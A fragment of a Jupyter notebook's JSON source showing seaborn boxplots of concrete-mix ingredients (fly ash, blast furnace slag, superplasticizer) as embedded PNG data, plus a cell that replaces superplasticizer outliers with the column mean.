gH+Eri3tfZn056XavH0hTQ5v9hfgdzJcPrnr6Y7HVXkkbIkFeKRsiQVYpQlqRCjLEmFGGVJKsQoS1Ih/w+Jnlm3jzECIwAAAABJRU5ErkJggg==\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "sb.boxplot(x=df['Blast Furnace Slag'])" - ] - }, - { - "cell_type": "code", - "execution_count": 9, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 9, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "sb.boxplot(x=df['Fly Ash'])" - ] - }, - { - "cell_type": "code", - "execution_count": 10, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 10, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "sb.boxplot(x=df['Superplasticizer'])" - ] - }, - { - "cell_type": "code", - "execution_count": 11, - "metadata": {}, - "outputs": [], - "source": [ - "# removing outliners\n", - "outliers_removed = [x for x in df['Superplasticizer'] if x >= 25 and x <= 40]\n", - "for i in df['Superplasticizer']:\n", - " if i in set(outliers_removed):\n", - " df['Superplasticizer'] = df['Superplasticizer'].replace(i,df['Superplasticizer'].mean())" - ] - }, - { - "cell_type": "code", - "execution_count": 12, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 12, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "sb.boxplot(x=df['Superplasticizer'])" - ] - }, - { - "cell_type": "code", - "execution_count": 13, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 13, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "iVBORw0KGgoAAAANSUhEUgAAAWAAAAEGCAYAAABbzE8LAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMiwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8vihELAAAACXBIWXMAAAsTAAALEwEAmpwYAAAL20lEQVR4nO3dX4yld13H8c+3u4UWi9GytalLw1KXCNg2uDRExJCJMbrtTUH3AtILLhRCo7triBcYEoMxXmBiYzuJrW0kQbNxE4tGQqDaGNR4I25ruy1ZCsO/yNLSro38Sbeg8PPinKk7252d7e7MfJ9pX69kMud55sx5vv3N7LvPPDNzpsYYAWDzXdQ9AMBLlQADNBFggCYCDNBEgAGabH8hd96xY8fYtWvXBo0C8OL0wAMPnBhjXHH6/hcU4F27duXIkSPrNxXAS0BVfe1M+12CAGgiwABNBBigiQADNBFggCYCDNBEgAGaCDBAEwEGaCLAAE0EGKCJAAM0EWCAJgIM0ESAAZoIMEATAQZoIsAATQQYoMkL+ptw62lxcTFLS0sX9BjHjx9PkuzcuXM9Rjqj3bt3Z//+/Rv2+MBLV1uAl5aW8tCjx/KDV1x+3o+x7ZlvJUme+N7G/Gdse+bpDXlcgKQxwEnyg1dcnpOvv+m83//Sz38qSS7oMc7l8QE2gmvAAE0EGKCJAAM0EWCAJgIM0ESAAZoIMEATAQZoIsAATQQYoIkAAzQRYIAmAgzQRIABmggwQBMBBmgiwABNBBigiQADNBFggCYCDNBEgAGaCDBAEwEGaCLAAE0EGKCJAAM0EWCAJgIM0ESAAZoIMEATAQZoIsAATQQYoIkAAzQRYIAmAgzQRIABmggwQBMBBmgiwABNNiXAi4uLWVxc3IxDsQYfC5iO7ZtxkKWlpc04DOfAxwKmwyUIgCYCDNBEgAGaCDBAEwEGaCLAAE0EGKCJAAM0EWCAJgIM0ESAAZoIMEATAQZoIsAATQQYoIkAAzQRYIAmAgzQRIABmggwQBMBBmgiwABNBBigiQADNBFggCYCDNBEgAGaCDBAEwEGaCLAAE0EGKCJAAM0EWCAJgIM0ESAAZoIMEATAQZoIsAATQSYLWvv3r1ZWFjIjTfe2D3K5B04cCALCwv5wAc+0D3K5B06dCgLCws5fPhwkuTWW2/NwsJC9u/fv+7HEmC2rGeffTZJcvLkyeZJpu/o0aNJkgcffLB5kum75557kiR33XVXkuTYsWNJkkceeWTdjyXAbEl79+5dse0seHUHDhxYse0seHWHDh1asb1v374V2+t9Frx9XR9tFcePH8/Jkydz8ODB5/YtLS3lou+PzTj8ebvo2W9naek7K+be6paWlnLppZd2j3HBls9+lzkLXt3y2e8yZ8GrWz77XXbixIkV2+t9FrzmGXBVva+qjlTVkaeeempdDw7wUrbmGfAY4+4kdyfJDTfccF6nrDt37kyS3H777c/tO3jwYB748jfP5+E2zQ8v+dHsvubKFXNvdS+ms3nY6lwDZku65JJLVmy/GC6rbJTrr79+xfaePXuaJpm+9773vSu2d+zYsWL7uuuuW9fjCTBb0n333bdi+9Of/nTTJNN3xx13rNi+7bbbmiaZvltuuWXF9r333rtie3FxcV2PJ8BsWctnwc5+17Z8Fuzsd23LZ8Hvf//7kyRveMMbkqz/2W+yST8FARvh9LNgVnf6WTCru+WWW1acCd95550bdixnwABNBBigiQAD